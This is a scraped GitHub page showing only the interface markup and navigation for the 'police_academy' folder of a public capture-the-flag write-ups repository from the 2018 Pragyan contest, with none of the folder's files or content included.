<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> phieulang1993 </span> <span>/</span> ctf-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>19</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/phieulang1993/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":119324220,"originating_url":"https://github.com/phieulang1993/ctf-writeups/tree/master/2018/pragyan/police_academy","user_id":null}}" data-hydro-click-hmac="315329c2cf56569875aee4615c30490e1be847e8aa624f6c6e7da5eb70cacbbb"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/phieulang1993/ctf-writeups/refs" cache-key="v0:1517194975.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGhpZXVsYW5nMTk5My9jdGYtd3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/phieulang1993/ctf-writeups/refs" cache-key="v0:1517194975.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGhpZXVsYW5nMTk5My9jdGYtd3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>pragyan</span></span><span>/</span>police_academy<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>pragyan</span></span><span>/</span>police_academy<span>/</span></div>
